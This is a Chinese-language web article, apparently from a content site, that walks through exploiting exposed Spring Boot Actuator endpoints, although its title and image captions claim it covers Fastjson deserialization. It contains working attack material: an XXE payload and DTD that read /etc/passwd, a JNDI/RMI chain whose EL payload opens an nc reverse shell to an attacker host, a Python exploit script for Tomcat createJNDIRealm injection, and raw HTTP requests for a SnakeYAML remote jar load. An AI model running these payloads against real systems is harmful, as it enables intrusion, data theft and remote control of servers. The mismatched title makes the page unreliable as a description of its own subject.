溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

怎么實現(xiàn)Fastjson反序列化漏洞利用

發(fā)布時間:2021-12-14 09:40:40 來源:億速云 閱讀:179 作者:柒染 欄目:網(wǎng)絡(luò)管理

怎么實現(xiàn)Fastjson反序列化漏洞利用,針對這個問題,這篇文章詳細(xì)介紹了相對應(yīng)的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。

前言

Actuator 是 Spring Boot 提供的服務(wù)監(jiān)控和管理中間件。當(dāng) Spring Boot 應(yīng)用程序運行時,它會自動將多個端點注冊到路由進(jìn)程中。而由于對這些端點的錯誤配置,就有可能導(dǎo)致一些系統(tǒng)信息泄露、XXE、甚至是 RCE 等安全問題。

漏洞發(fā)現(xiàn)

通常通過兩個位置判斷網(wǎng)站是否使用了Spring Boot框架。
1、網(wǎng)站圖片文件是一個綠色的樹葉。
2、特有的報錯信息。

怎么實現(xiàn)Fastjson反序列化漏洞利用

影響版本

Spring Boot < 1.5 默認(rèn)未授權(quán)訪問所有端點
Spring Boot >= 1.5 默認(rèn)只允許訪問/health和/info端點,但是此安全性通常被應(yīng)用程序開發(fā)人員禁用

端點描述

官方文檔對每個端點的功能進(jìn)行了描述。

路徑            描述/autoconfig    提供了一份自動配置報告,記錄哪些自動配置條件通過了,哪些沒通過/beans         描述應(yīng)用程序上下文里全部的Bean,以及它們的關(guān)系/env           獲取全部環(huán)境屬性/configprops   描述配置屬性(包含默認(rèn)值)如何注入Bean/dump          獲取線程活動的快照/health        報告應(yīng)用程序的健康指標(biāo),這些值由HealthIndicator的實現(xiàn)類提供/info          獲取應(yīng)用程序的定制信息,這些信息由info打頭的屬性提供/mappings      描述全部的URI路徑,以及它們和控制器(包含Actuator端點)的映射關(guān)系/metrics       報告各種應(yīng)用程序度量信息,比如內(nèi)存用量和HTTP請求計數(shù)/shutdown      關(guān)閉應(yīng)用程序,要求endpoints.shutdown.enabled設(shè)置為true/trace         提供基本的HTTP請求跟蹤信息(時間戳、HTTP頭等)

Spring Boot 1.x版本端點在根URL下注冊。

怎么實現(xiàn)Fastjson反序列化漏洞利用

Spring Boot 2.x版本端點移動到/actuator/路徑。

怎么實現(xiàn)Fastjson反序列化漏洞利用

本文中端點的位置都是基于網(wǎng)站根目錄下,實戰(zhàn)中遇到的情況是,端點可能存放在多級目錄下,需要自行進(jìn)行尋找。

訪問/trace端點獲取到近期服務(wù)器收到的請求信息。
如果存在登錄用戶的操作請求,可以偽造cookie進(jìn)行登錄。

怎么實現(xiàn)Fastjson反序列化漏洞利用

訪問/env端點獲取環(huán)境屬性。
數(shù)據(jù)庫賬戶泄漏

怎么實現(xiàn)Fastjson反序列化漏洞利用

Jolokia端點利用

大多數(shù)Actuator僅支持GET請求并僅顯示敏感的配置數(shù)據(jù),如果使用了不當(dāng)?shù)腏olokia端點,可能會產(chǎn)生XXE、甚至是RCE安全問題。

reloadByURL方法

查看/jolokia/list 中存在的 Mbeans,是否存在logback 庫提供的reloadByURL方法。

怎么實現(xiàn)Fastjson反序列化漏洞利用

xxe漏洞實現(xiàn)

reloadByURL方法,允許遠(yuǎn)程加載logback.xml 配置文件,并且解析 xml 文件未做任何過濾措施,導(dǎo)致了xxe漏洞。
1、創(chuàng)建logback.xml和fileread.dtd文件
logback.xml,地址為公網(wǎng)vpsweb服務(wù)地址。

<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://x.x.x.x/fileread.dtd">%remote;%int;]><a>&amptrick;</a>

fileread.dtd

<!ENTITY % d SYSTEM "file:///etc/passwd"> <!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">

2、把創(chuàng)建的logback.xml和fileread.dtd文件上傳到公網(wǎng)vps的web目錄下。

怎么實現(xiàn)Fastjson反序列化漏洞利用

3、遠(yuǎn)程訪問logback.xml文件。

www.xxx.com/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/x.x.x.x!/logback.xml

成功利用xxe讀取到etc/passwd文件內(nèi)容。

怎么實現(xiàn)Fastjson反序列化漏洞利用

遠(yuǎn)程代碼執(zhí)行實現(xiàn)

可以在logback.xml中使用insertFromJNDI標(biāo)簽,這個標(biāo)簽允許我們從 JNDI 加載變量,導(dǎo)致了rce漏洞產(chǎn)生。
rce的流程主要分為4步。詳細(xì)過程
1、構(gòu)造 Get 請求訪問目標(biāo),使其去外部服務(wù)器加載惡意 logback.xml 文件。
2、解析 logback.xml 時,最終會觸發(fā) InitialContext.lookup(URI) 操作,而URI 為惡意 RMI 服務(wù)地址。
3、惡意 RMI 服務(wù)器向目標(biāo)返回一個 Reference 對象,Reference 對象中指定了目標(biāo)本地存在的 BeanFactory 類,以及Bean Class 的類名、屬性、屬性值(這里為 ELProcessor 、x、eval(...))。
4、目標(biāo)在進(jìn)行 lookup() 操作時,會動態(tài)加載并實例化 BeanFactory 類,接著調(diào)用 factory.getObjectInstance() 方法,通過反射的方式實例化 Reference 所指向的任意 Bean Class,并且會調(diào)用 setter 方法為所有的屬性賦值。對應(yīng)我們的代碼,最終調(diào)用 setter 方法的時候,就是執(zhí)行如下代碼:

ELProcessor.eval(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc evil-server-ip port >/tmp/f']).start()\"

而 ELProcessor.eval() 會對 EL 表達(dá)式(這里為反彈 shell)進(jìn)行求值,最終達(dá)到 RCE 的效果。

1、下載rce利用代碼。
修改Spring-Boot-Actuator-Exploit\maliciousRMIServer\src\main\java\hello\EvilRMIServer.java的代碼。
可以修改RMI遠(yuǎn)程監(jiān)聽的端口,和反彈shell的地址和端口。

怎么實現(xiàn)Fastjson反序列化漏洞利用

使用maven對java代碼進(jìn)行編譯打包。

進(jìn)入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目錄,執(zhí)行

mvn clean install

打包成功后創(chuàng)建target目錄下生成RMIServer-0.1.0.jar文件。

怎么實現(xiàn)Fastjson反序列化漏洞利用

怎么實現(xiàn)Fastjson反序列化漏洞利用

修改logback.xml文件內(nèi)容。

 <configuration>
  <insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" /></configuration>

把RMIServer-0.1.0.jar文件上傳到公網(wǎng)vps上。
執(zhí)行RMIServer-0.1.0.jar文件,開啟攻擊機(jī)上的RMI監(jiān)聽時需要通過'Djava.rmi.server.hostname=x.x.x.x'指定自己的RMI監(jiān)聽的外網(wǎng)地址。

java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar

怎么實現(xiàn)Fastjson反序列化漏洞利用

vps使用nc監(jiān)聽反彈shell指定的端口。

nc -lvp 9998

在漏洞url處訪問:

http://x.x.x.x/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!114.x.x.x!/logback.xml

怎么實現(xiàn)Fastjson反序列化漏洞利用

成功反彈shell。

怎么實現(xiàn)Fastjson反序列化漏洞利用

createJNDIRealm方法

相關(guān)原理請查看
Attack Spring Boot Actuator via jolokia Part 2
查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory類提供的createJNDIRealm方法,可能存在JNDI注入,導(dǎo)致遠(yuǎn)程代碼執(zhí)行。

怎么實現(xiàn)Fastjson反序列化漏洞利用

利用過程分為五步。

1、創(chuàng)建 JNDIRealm

2、寫入 contextFactory 為 RegistryContextFactory

3、寫入 connectionURL 為你的 RMI Service URL

4、停止 Realm

5、啟動 Realm 以觸發(fā) JNDI 注入

可以使用burp一步步重放,也可以直接使用python腳本執(zhí)行。

import requests as reqimport sysfrom pprint import pprint

url = sys.argv[1] + "/jolokia/"pprint(url)#創(chuàng)建JNDIRealmcreate_JNDIrealm = {"mbean": "Tomcat:type=MBeanFactory","type": "EXEC","operation": "createJNDIRealm","arguments": ["Tomcat:type=Engine"]}#寫入contextFactoryset_contextFactory = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "contextFactory","value": "com.sun.jndi.rmi.registry.RegistryContextFactory"}#寫入connectionURL為自己公網(wǎng)RMI service地址set_connectionURL = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "connectionURL","value": "rmi://x.x.x.x:1097/jndi"}#停止Realmstop_JNDIrealm = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "stop","arguments": []}#運行Realm,觸發(fā)JNDI 注入start = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "start","arguments": []}expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]for i in expoloit:rep = req.post(url, json=i)pprint(rep.json())

使用之前打包好的jar包-RMIServer-0.1.0.jar,運行RMI服務(wù)

java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar

怎么實現(xiàn)Fastjson反序列化漏洞利用

使用nc監(jiān)聽反彈的端口

nc -lvp 9998

怎么實現(xiàn)Fastjson反序列化漏洞利用

使用python發(fā)送請求

python exp.py http://x.x.x.x:8087

怎么實現(xiàn)Fastjson反序列化漏洞利用

成功反彈shell。

怎么實現(xiàn)Fastjson反序列化漏洞利用

spring Cloud env

當(dāng)spring boot使用Spring Cloud 相關(guān)組件時,會存在spring.cloud.bootstrap.location屬性,通過修改 spring.cloud.bootstrap.location 環(huán)境變量實現(xiàn) RCE
漏洞原理參考https://www.anquanke.com/post/id/195929

利用范圍

Spring Boot 2.x 無法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本時可利用成功,使用 Edgware 無法成功
Spring Boot <= 1.4 可利用成功

利用過程

大致原理分為2步。
1、利用 /env endpoint 修改 spring.cloud.bootstrap.location 屬性值為一個外部 yml 配置文件 url 地址,如 http://x.x.x.x/yaml-payload.yml
2、請求 /refresh endpoint,觸發(fā)程序下載外部 yml 文件,并由 SnakeYAML 庫進(jìn)行解析,因 SnakeYAML 在反序列化時支持指定 class 類型和構(gòu)造方法的參數(shù),結(jié)合 JDK 自帶的 javax.script.ScriptEngineManager 類,可實現(xiàn)加載遠(yuǎn)程 jar 包,完成任意代碼執(zhí)行。
下載使用Michael Stepankin大牛提供的exp
https://github.com/artsploit/yaml-payload
更改執(zhí)行的命令。

怎么實現(xiàn)Fastjson反序列化漏洞利用

將java文件進(jìn)行編譯

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

把生成的jar文件掛載到公網(wǎng)http服務(wù)器。
修改 spring.cloud.bootstrap.location為外部 yml 配置文件地址。

POST /env HTTP/1.1Host: 127.0.0.1:8090Content-Type: application/x-www-form-urlencoded
Content-Length: 59
 spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml

怎么實現(xiàn)Fastjson反序列化漏洞利用

請求 /refresh 接口觸發(fā)

POST /refresh HTTP/1.1Host: 127.0.0.1:8090Content-Type: application/x-www-form-urlencoded
Content-Length: 0

命令執(zhí)行成功。

怎么實現(xiàn)Fastjson反序列化漏洞利用

關(guān)于怎么實現(xiàn)Fastjson反序列化漏洞利用問題的解答就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關(guān)注億速云行業(yè)資訊頻道了解更多相關(guān)知識。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI